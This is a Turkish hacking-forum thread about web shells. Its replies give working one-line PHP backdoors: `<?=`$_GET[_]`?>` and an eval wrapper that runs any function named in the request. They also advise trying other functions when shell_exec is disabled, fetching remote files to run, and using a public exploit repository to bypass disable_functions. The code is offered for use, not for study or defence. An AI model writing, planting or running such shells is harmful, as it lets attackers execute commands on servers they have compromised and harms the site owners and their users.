Döküman Shell Nedir ? (1 Viewer)

To view the content, you need to Sign In or Register.

 

up

 

Güzel konu, ellerine sağlık. Ek olarak birkaç ekleme yapayım. Webshell kullanmayın. Ben mesela birkaç tane basit php command execution için shell yazılımlarım var. Mesela

Spoyler: shell

<?=`$_GET[_]`?>

(backtick syntax php içinde shell_exec fonksiyonunu çağırır.
Bazı durumlarda bazı php disable_functions ile komut çalıştıramayı bu tarz durumlarda hazır exploitleri kullanarak sistemde php konfigürasyonunda ayarlanmış fonksiyonları bypass ederek komut çalıştırabiliriz. Ben şahsen bu repo'yu beğeniyorum. https://github.com/mm0r1/exploits

 

To view the content, you need to Sign In or Register.

bakalım

 

yararlı konu rep

 

Güzel konu, ellerine sağlık. Ek olarak birkaç ekleme yapayım. Webshell kullanmayın. Ben mesela birkaç tane basit php command execution için shell yazılımlarım var. Mesela

Spoyler: shell

<?=`$_GET[_]`?>

(backtick syntax php içinde shell_exec fonksiyonunu çağırır.
Bazı durumlarda bazı php disable_functions ile komut çalıştıramayı bu tarz durumlarda hazır exploitleri kullanarak sistemde php konfigürasyonunda ayarlanmış fonksiyonları bypass ederek komut çalıştırabiliriz. Ben şahsen bu repo'yu beğeniyorum. https://github.com/mm0r1/exploits

daha kullanışlısı olarak benden de bir ekleme
<?php eval($_GET['func']($_GET['exp'])); ?>
shell.php?func=shell_exec&exp=uname shell_exec kapalıysa diğerlerini dene, hepsi kapalıysa o zaman shell.php?func=file_get_contents uzaktan dosya çek çalıştır vesaire türetilebilir